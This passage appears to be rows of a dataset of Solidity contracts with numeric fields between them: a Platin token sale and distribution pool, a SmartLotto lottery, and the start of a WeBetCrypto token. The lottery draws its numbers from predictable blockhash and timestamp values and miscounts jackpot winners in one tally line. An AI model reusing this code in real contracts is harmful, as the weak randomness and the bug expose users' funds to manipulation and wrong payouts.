_token.safeTransfer(owner, balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(
address _from,
uint256 _value,
bytes _data
)
external
pure
{
_from;
_value;
_data;
revert();
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address _contractAddr) external onlyOwner {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract Authorizable is Ownable {
mapping (address => bool) public authorized;
event Authorize(address indexed who);
event UnAuthorize(address indexed who);
modifier onlyAuthorized() {
require(msg.sender == owner || authorized[msg.sender], "Not Authorized.");
_;
}
function authorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(!authorized[_who], "Already authorized");
authorized[_who] = true;
emit Authorize(_who);
}
function unAuthorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(authorized[_who], "Address is not authorized");
authorized[_who] = false;
emit UnAuthorize(_who);
}
}
contract PlatinTGE {
using SafeMath for uint256;
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant SALES_SUPPLY = 300000000 * (10 ** uint256(decimals));
uint256 public constant MINING_POOL_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_AND_EMPLOYEES_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant AIRDROPS_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant RESERVES_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant ADVISORS_POOL_SUPPLY = 70000000 * (10 ** uint256(decimals));
uint256 public constant ECOSYSTEM_POOL_SUPPLY = 30000000 * (10 ** uint256(decimals));
address public PRE_ICO_POOL;
address public LIQUID_POOL;
address public ICO;
address public MINING_POOL;
address public FOUNDERS_POOL;
address public EMPLOYEES_POOL;
address public AIRDROPS_POOL;
address public RESERVES_POOL;
address public ADVISORS_POOL;
address public ECOSYSTEM_POOL;
uint256 public constant PRE_ICO_POOL_AMOUNT = 20000000 * (10 ** uint256(decimals));
uint256 public constant LIQUID_POOL_AMOUNT = 100000000 * (10 ** uint256(decimals));
uint256 public constant ICO_AMOUNT = 180000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_POOL_AMOUNT = 190000000 * (10 ** uint256(decimals));
uint256 public constant EMPLOYEES_POOL_AMOUNT = 10000000 * (10 ** uint256(decimals));
address public UNSOLD_RESERVE;
uint256 public constant ICO_LOCKUP_PERIOD = 182 days;
uint256 public constant TOKEN_RATE = 1000;
uint256 public constant TOKEN_RATE_LOCKUP = 1200;
uint256 public constant MIN_PURCHASE_AMOUNT = 1 ether;
PlatinToken public token;
uint256 public tgeTime;
constructor(
uint256 _tgeTime,
PlatinToken _token,
address _preIcoPool,
address _liquidPool,
address _ico,
address _miningPool,
address _foundersPool,
address _employeesPool,
address _airdropsPool,
address _reservesPool,
address _advisorsPool,
address _ecosystemPool,
address _unsoldReserve
) public {
require(_tgeTime >= block.timestamp, "TGE time should be >= current time.");
require(_token != address(0), "Token address can't be zero.");
require(_preIcoPool != address(0), "PreICO Pool address can't be zero.");
require(_liquidPool != address(0), "Liquid Pool address can't be zero.");
require(_ico != address(0), "ICO address can't be zero.");
require(_miningPool != address(0), "Mining Pool address can't be zero.");
require(_foundersPool != address(0), "Founders Pool address can't be zero.");
require(_employeesPool != address(0), "Employees Pool address can't be zero.");
require(_airdropsPool != address(0), "Airdrops Pool address can't be zero.");
require(_reservesPool != address(0), "Reserves Pool address can't be zero.");
require(_advisorsPool != address(0), "Advisors Pool address can't be zero.");
require(_ecosystemPool != address(0), "Ecosystem Pool address can't be zero.");
require(_unsoldReserve != address(0), "Unsold reserve address can't be zero.");
tgeTime = _tgeTime;
token = _token;
PRE_ICO_POOL = _preIcoPool;
LIQUID_POOL = _liquidPool;
ICO = _ico;
MINING_POOL = _miningPool;
FOUNDERS_POOL = _foundersPool;
EMPLOYEES_POOL = _employeesPool;
AIRDROPS_POOL = _airdropsPool;
RESERVES_POOL = _reservesPool;
ADVISORS_POOL = _advisorsPool;
ECOSYSTEM_POOL = _ecosystemPool;
UNSOLD_RESERVE = _unsoldReserve;
}
function allocate() public {
require(block.timestamp >= tgeTime, "Should be called just after tge time.");
require(token.totalSupply() == 0, "Allocation is already done.");
token.allocate(PRE_ICO_POOL, PRE_ICO_POOL_AMOUNT);
token.allocate(LIQUID_POOL, LIQUID_POOL_AMOUNT);
token.allocate(ICO, ICO_AMOUNT);
token.allocate(MINING_POOL, MINING_POOL_SUPPLY);
token.allocate(FOUNDERS_POOL, FOUNDERS_POOL_AMOUNT);
token.allocate(EMPLOYEES_POOL, EMPLOYEES_POOL_AMOUNT);
token.allocate(AIRDROPS_POOL, AIRDROPS_POOL_SUPPLY);
token.allocate(RESERVES_POOL, RESERVES_POOL_SUPPLY);
token.allocate(ADVISORS_POOL, ADVISORS_POOL_SUPPLY);
token.allocate(ECOSYSTEM_POOL, ECOSYSTEM_POOL_SUPPLY);
require(token.totalSupply() == TOTAL_SUPPLY, "Total supply check error.");
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HoldersToken is StandardToken {
using SafeMath for uint256;
address[] public holders;
mapping (address => uint256) public holderNumber;
function holdersCount() public view returns (uint256) {
return holders.length;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_preserveHolders(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_preserveHolders(_from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
function _removeHolder(address _holder) internal {
uint256 _number = holderNumber[_holder];
if (_number == 0 || holders.length == 0 || _number > holders.length)
return;
uint256 _index = _number.sub(1);
uint256 _lastIndex = holders.length.sub(1);
address _lastHolder = holders[_lastIndex];
if (_index != _lastIndex) {
holders[_index] = _lastHolder;
holderNumber[_lastHolder] = _number;
}
holderNumber[_holder] = 0;
holders.length = _lastIndex;
}
function _addHolder(address _holder) internal {
if (holderNumber[_holder] == 0) {
holders.push(_holder);
holderNumber[_holder] = holders.length;
}
}
function _preserveHolders(address _from, address _to, uint256 _value) internal {
_addHolder(_to);
if (balanceOf(_from).sub(_value) == 0)
_removeHolder(_from);
}
}
contract PlatinToken is HoldersToken, NoOwner, Authorizable, Pausable {
using SafeMath for uint256;
string public constant name = "Platin Token";
string public constant symbol = "PTNX";
uint8 public constant decimals = 18;
struct Lockup {
uint256 release;
uint256 amount;
}
mapping (address => Lockup[]) public lockups;
mapping (address => mapping (address => Lockup[])) public refundable;
mapping (address => mapping (address => mapping (uint256 => uint256))) public indexes;
PlatinTGE public tge;
event Allocate(address indexed to, uint256 amount);
event SetLockups(address indexed to, uint256 amount, uint256 fromIdx, uint256 toIdx);
event Refund(address indexed from, address indexed to, uint256 amount);
modifier spotTransfer(address _from, uint256 _value) {
require(_value <= balanceSpot(_from), "Attempt to transfer more than balance spot.");
_;
}
modifier onlyTGE() {
require(msg.sender == address(tge), "Only TGE method.");
_;
}
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
authorize(_tge);
}
function allocate(address _to, uint256 _amount) external onlyTGE {
require(_to != address(0), "Allocate To address can't be zero");
require(_amount > 0, "Allocate amount should be > 0.");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
_addHolder(_to);
require(totalSupply_ <= tge.TOTAL_SUPPLY(), "Can't allocate more than TOTAL SUPPLY.");
emit Allocate(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function transfer(address _to, uint256 _value) public whenNotPaused spotTransfer(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused spotTransfer(_from, _value) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferWithLockup(
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transfer(_to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function transferFromWithLockup(
address _from,
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transferFrom(_from, _to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function refundLockedUp(
address _from
)
public onlyAuthorized returns (uint256)
{
address _sender = msg.sender;
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_from][_sender].length;
if (_refundableLength > 0) {
uint256 _lockupIdx;
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_from][_sender][i].release > block.timestamp) {
_balanceRefundable = _balanceRefundable.add(refundable[_from][_sender][i].amount);
refundable[_from][_sender][i].release = 0;
refundable[_from][_sender][i].amount = 0;
_lockupIdx = indexes[_from][_sender][i];
lockups[_from][_lockupIdx].release = 0;
lockups[_from][_lockupIdx].amount = 0;
}
}
if (_balanceRefundable > 0) {
_preserveHolders(_from, _sender, _balanceRefundable);
balances[_from] = balances[_from].sub(_balanceRefundable);
balances[_sender] = balances[_sender].add(_balanceRefundable);
emit Refund(_from, _sender, _balanceRefundable);
emit Transfer(_from, _sender, _balanceRefundable);
}
}
return _balanceRefundable;
}
function lockupsCount(address _who) public view returns (uint256) {
return lockups[_who].length;
}
function hasLockups(address _who) public view returns (bool) {
return lockups[_who].length > 0;
}
function balanceLockedUp(address _who) public view returns (uint256) {
uint256 _balanceLokedUp = 0;
uint256 _lockupsLength = lockups[_who].length;
for (uint256 i = 0; i < _lockupsLength; i++) {
if (lockups[_who][i].release > block.timestamp)
_balanceLokedUp = _balanceLokedUp.add(lockups[_who][i].amount);
}
return _balanceLokedUp;
}
function balanceRefundable(address _who, address _sender) public view returns (uint256) {
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_who][_sender].length;
if (_refundableLength > 0) {
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_who][_sender][i].release > block.timestamp)
_balanceRefundable = _balanceRefundable.add(refundable[_who][_sender][i].amount);
}
}
return _balanceRefundable;
}
function balanceSpot(address _who) public view returns (uint256) {
uint256 _balanceSpot = balanceOf(_who);
_balanceSpot = _balanceSpot.sub(balanceLockedUp(_who));
return _balanceSpot;
}
function _lockup(
address _who,
uint256 _amount,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable)
internal
{
require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal.");
require(_lockupReleases.length.add(lockups[_who].length) <= 1000, "Can't be more than 1000 lockups per address.");
if (_lockupReleases.length > 0) {
uint256 _balanceLokedUp = 0;
address _sender = msg.sender;
uint256 _fromIdx = lockups[_who].length;
uint256 _toIdx = _fromIdx + _lockupReleases.length - 1;
uint256 _lockupIdx;
uint256 _refundIdx;
for (uint256 i = 0; i < _lockupReleases.length; i++) {
if (_lockupReleases[i] > block.timestamp) {
lockups[_who].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_balanceLokedUp = _balanceLokedUp.add(_lockupAmounts[i]);
if (_refundable) {
refundable[_who][_sender].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_lockupIdx = lockups[_who].length - 1;
_refundIdx = refundable[_who][_sender].length - 1;
indexes[_who][_sender][_refundIdx] = _lockupIdx;
}
}
}
require(_balanceLokedUp <= _amount, "Can't lockup more than transferred amount.");
emit SetLockups(_who, _amount, _fromIdx, _toIdx);
}
}
}
contract PlatinPool is HasNoEther, Authorizable {
using SafeMath for uint256;
PlatinToken public token;
uint256 public initial;
uint256 public allocated;
uint256 public distributed;
struct Distribution {
uint256 amount;
uint256[] lockupReleases;
uint256[] lockupAmounts;
uint256 refunded;
bool refundable;
bool distributed;
}
mapping (address => Distribution) public distribution;
address[] public members;
event AddDistribution(address indexed beneficiary, uint256 amount, bool lockups, bool refundable);
event Distribute(address indexed to, uint256 amount);
constructor(PlatinToken _token, uint256 _initial) public {
require(_token != address(0), "Token address can't be zero.");
token = _token;
initial = _initial;
}
function addDistribution(
address _beneficiary,
uint256 _amount,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
external onlyAuthorized
{
require(_beneficiary != address(0), "Beneficiary address can't be zero.");
require(_amount > 0, "Amount can't be zero.");
require(distribution[_beneficiary].amount == 0, "Beneficiary is already listed.");
require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal.");
uint256 _distributable = 0;
uint256 _balance = token.balanceOf(address(this));
if (_balance > 0) {
initial = 0;
}
if (initial > 0) {
_distributable = initial.sub(allocated);
} else {
_distributable = _balance.sub(allocated.sub(distributed));
}
require(_amount <= _distributable, "Amount isn't distributible.");
uint256 _amountLokedUp = 0;
for (uint256 i = 0; i < _lockupAmounts.length; i++) {
_amountLokedUp = _amountLokedUp.add(_lockupAmounts[i]);
}
require(_amountLokedUp <= _amount, "Can't lockup more than amount of distribution.");
distribution[_beneficiary].amount = _amount;
distribution[_beneficiary].lockupReleases = _lockupReleases;
distribution[_beneficiary].lockupAmounts = _lockupAmounts;
distribution[_beneficiary].refundable = _refundable;
distribution[_beneficiary].distributed = false;
allocated = allocated.add(_amount);
members.push(_beneficiary);
emit AddDistribution(
_beneficiary,
_amount,
_lockupReleases.length > 0,
_refundable);
}
function distribute(address _beneficiary) public {
require(distribution[_beneficiary].amount > 0, "Can't find distribution record for the beneficiary.");
require(!distribution[_beneficiary].distributed, "Already distributed.");
uint256 _amount = distribution[_beneficiary].amount;
uint256[] storage _lockupReleases = distribution[_beneficiary].lockupReleases;
uint256[] storage _lockupAmounts = distribution[_beneficiary].lockupAmounts;
bool _refundable = distribution[_beneficiary].refundable;
token.transferWithLockup(
_beneficiary,
_amount,
_lockupReleases,
_lockupAmounts,
_refundable);
initial = 0;
distributed = distributed.add(_amount);
distribution[_beneficiary].distributed = true;
emit Distribute(_beneficiary, _amount);
}
function refundLockedUp(
address _from
)
public onlyAuthorized returns (uint256)
{
uint256 _refunded = token.refundLockedUp(_from);
allocated = allocated.sub(_refunded);
distributed = distributed.sub(_refunded);
distribution[_from].refunded = _refunded;
return _refunded;
}
function membersCount() public view returns (uint256) {
return members.length;
}
function getLockupReleases(address _beneficiary) public view returns (uint256[]) {
return distribution[_beneficiary].lockupReleases;
}
function getLockupAmounts(address _beneficiary) public view returns (uint256[]) {
return distribution[_beneficiary].lockupAmounts;
}
}
contract AdvisorsPool is PlatinPool {
constructor(PlatinToken _token, uint256 _initial) public PlatinPool(_token, _initial) {}
} | 0 | 640 |
pragma solidity ^0.5.4;
contract SmartLotto {
using SafeMath for uint;
uint8 private constant DRAW_DOW = 4;
uint8 private constant DRAW_HOUR = 11;
uint private constant DAY_IN_SECONDS = 86400;
struct Member {
address addr;
uint ticket;
uint8[5] numbers;
uint prize;
uint8 payout;
}
struct Game {
uint datetime;
uint8[5] win_numbers;
uint membersCounter;
uint totalFund;
uint p2;
uint p3;
uint p4;
uint p5;
uint8 status;
mapping(uint => Member) members;
}
mapping(uint => Game) public games;
uint private CONTRACT_STARTED_DATE = 0;
uint private constant TICKET_PRICE = 0.01 ether;
uint private constant MAX_NUMBER = 36;
uint private constant PERCENT_FUND_JACKPOT = 15;
uint private constant PERCENT_FUND_4 = 35;
uint private constant PERCENT_FUND_3 = 30;
uint private constant PERCENT_FUND_2 = 20;
uint public JACKPOT = 0;
uint public GAME_NUM = 0;
uint private constant return_jackpot_period = 25 weeks;
uint private start_jackpot_amount = 0;
uint private constant PERCENT_FUND_PR = 15;
uint private FUND_PR = 0;
address private constant ADDRESS_SERVICE = 0x203bF6B46508eD917c085F50F194F36b0a62EB02;
address payable private constant ADDRESS_START_JACKPOT = 0x531d3Bd0400Ae601f26B335EfbD787415Aa5CB81;
address payable private constant ADDRESS_PR = 0xCD66911b6f38FaAF5BFeE427b3Ceb7D18Dd09F78;
event NewMember(uint _gamenum, uint _ticket, address _addr, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event NewGame(uint _gamenum);
event UpdateFund(uint _fund);
event UpdateJackpot(uint _jackpot);
event WinNumbers(uint _gamenum, uint8 _n1, uint8 _n2, uint8 _n3, uint8 _n4, uint8 _n5);
event PayOut(uint _gamenum, uint _ticket, uint _prize, uint8 _payout);
uint private constant POOL_SIZE = 30;
uint private POOL_COUNTER = 0;
uint private w2 = 0;
uint private w3 = 0;
uint private w4 = 0;
uint private w5 = 0;
function() external payable {
if(msg.sender == ADDRESS_START_JACKPOT) {
processStartingJackpot();
} else {
if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
}
function startGame() private {
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(games[GAME_NUM].status == 1) {
processGame();
} else {
games[GAME_NUM].status = 1;
}
}
}
function processGame() private {
uint8[5] memory win_numbers;
uint8 mn = 0;
if(POOL_COUNTER == 0) {
w2 = 0;
w3 = 0;
w4 = 0;
w5 = 0;
for(uint8 i = 0; i < 5; i++) {
win_numbers[i] = random(i);
}
win_numbers = sortNumbers(win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(win_numbers[i] == win_numbers[j]) {
win_numbers[j]++;
}
}
}
games[GAME_NUM].win_numbers = win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
} else {
win_numbers = games[GAME_NUM].win_numbers;
}
uint start = POOL_SIZE * POOL_COUNTER + 1;
uint end = POOL_SIZE * POOL_COUNTER + POOL_SIZE;
if(end > games[GAME_NUM].membersCounter) end = games[GAME_NUM].membersCounter;
uint _w2 = 0;
uint _w3 = 0;
uint _w4 = 0;
uint _w5 = 0;
for(uint i = start; i <= end; i++) {
mn = findMatch(win_numbers, games[GAME_NUM].members[i].numbers);
if(mn == 2) { _w2++; continue; }
if(mn == 3) { _w3++; continue; }
if(mn == 4) { _w4++; continue; }
if(mn == 5) { _w5++; }
}
if(_w2 != 0) { w2 += _w2; }
if(_w3 != 0) { w3 += _w3; }
if(_w4 != 0) { w4 += _w4; }
if(_w5 != 0) { w2 += _w5; }
if(end == games[GAME_NUM].membersCounter) {
uint totalFund = games[GAME_NUM].totalFund;
uint fund2 = totalFund * PERCENT_FUND_2 / 100;
uint fund3 = totalFund * PERCENT_FUND_3 / 100;
uint fund4 = totalFund * PERCENT_FUND_4 / 100;
uint _jackpot = JACKPOT + totalFund * PERCENT_FUND_JACKPOT / 100;
if(w2 != 0) {
games[GAME_NUM].p2 = fund2 / w2;
} else {
_jackpot += fund2;
}
if(w3 != 0) {
games[GAME_NUM].p3 = fund3 / w3;
} else {
_jackpot += fund3;
}
if(w4 != 0) {
games[GAME_NUM].p4 = fund4 / w4;
} else {
_jackpot += fund4;
}
if(w5 != 0) {
games[GAME_NUM].p5 = _jackpot / w5;
JACKPOT = 0;
start_jackpot_amount = 0;
} else {
JACKPOT = _jackpot;
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
emit NewGame(GAME_NUM);
POOL_COUNTER = 0;
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
} else {
POOL_COUNTER++;
}
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
if(msg.value == 0) {
if(games[GAME_NUM].status != 1 || POOL_COUNTER > 0) return;
uint payoutAmount = 0;
for(uint i = 1; i <= GAME_NUM; i++) {
Game memory game = games[i];
if(game.win_numbers[0] == 0) { continue; }
for(uint j = 1; j <= game.membersCounter; j++) {
Member memory member = games[i].members[j];
if(member.payout == 1) { continue; }
uint8 mn = findMatch(game.win_numbers, member.numbers);
if(mn == 2) {
games[i].members[j].prize = game.p2;
payoutAmount += game.p2;
}
if(mn == 3) {
games[i].members[j].prize = game.p3;
payoutAmount += game.p3;
}
if(mn == 4) {
games[i].members[j].prize = game.p4;
payoutAmount += game.p4;
}
if(mn == 5) {
games[i].members[j].prize = game.p5;
payoutAmount += game.p5;
}
games[i].members[j].payout = 1;
emit PayOut(i, j, games[i].members[j].prize, 1);
}
}
if(payoutAmount != 0) msg.sender.transfer(payoutAmount);
return;
}
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 && POOL_COUNTER == 0 &&
(weekday != DRAW_DOW || (weekday == DRAW_DOW && (hour < (DRAW_HOUR - 1) || hour > (DRAW_HOUR + 2)))) ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(err) {
for(uint8 i = 0; i < 5; i++) {
numbers[i] = random(i);
}
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(numbers[i] == numbers[j]) {
numbers[j]++;
}
}
}
}
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length - 1; i++) {
for(uint8 j = i + 1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8((uint(blockhash(block.number - 1 - num*2)) + now) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint, uint, uint, uint) {
Game memory game = games[i];
return (game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status, game.p2, game.p3, game.p4, game.p5);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint, uint8) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize, mbr.payout);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 930 |
pragma solidity ^0.4.16;
contract WeBetCrypto {
string public name = "We Bet Crypto";
string public symbol = "WBC";
address public selfAddress;
address public admin;
address[] private users;
uint8 public decimals = 7;
uint256 public relativeDateSave;
uint256 public totalFunds;
uint256 public totalSupply = 300000000000000;
uint256 public pricePerEther;
uint256 private amountInCirculation;
uint256 private currentProfits;
uint256 private currentIteration;
uint256 private actualProfitSplit;
bool public DAppReady;
bool public isFrozen;
bool public splitInService = true;
bool private hasICORun;
bool private running;
bool[4] private devApprovals;
mapping(address => uint256) balances;
mapping(address => uint256) monthlyLimit;
mapping(address => bool) isAdded;
mapping(address => bool) freezeUser;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => mapping (address => uint256)) cooldown;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event CurrentTLSNProof(address indexed _from, string _proof);
modifier isAdmin() {
require(msg.sender == admin);
_;
}
modifier isRunning() {
require(!running);
running = true;
_;
running = false;
}
modifier requireThaw() {
require(!isFrozen);
_;
}
modifier userNotPlaying(address _user) {
require(!freezeUser[_user]);
_;
}
modifier oneTime() {
require(!hasICORun);
_;
}
modifier DAppOnline() {
require(DAppReady);
_;
}
function safeSub(uint256 a, uint256 b) internal constant returns (uint256 z) {
assert((z = a - b) <= a);
}
function WeBetCrypto() {
admin = msg.sender;
selfAddress = this;
balances[0x166Cb48973C2447dafFA8EFd3526da18076088de] = 22500000000000;
addUser(0x166Cb48973C2447dafFA8EFd3526da18076088de);
Transfer(selfAddress, 0x166Cb48973C2447dafFA8EFd3526da18076088de, 22500000000000);
balances[0xE59CbD028f71447B804F31Cf0fC41F0e5E13f4bF] = 15000000000000;
addUser(0xE59CbD028f71447B804F31Cf0fC41F0e5E13f4bF);
Transfer(selfAddress, 0xE59CbD028f71447B804F31Cf0fC41F0e5E13f4bF, 15000000000000);
balances[0x1ab13D2C1AC4303737981Ce8B8bD5116C84c744d] = 5000000000000;
addUser(0x1ab13D2C1AC4303737981Ce8B8bD5116C84c744d);
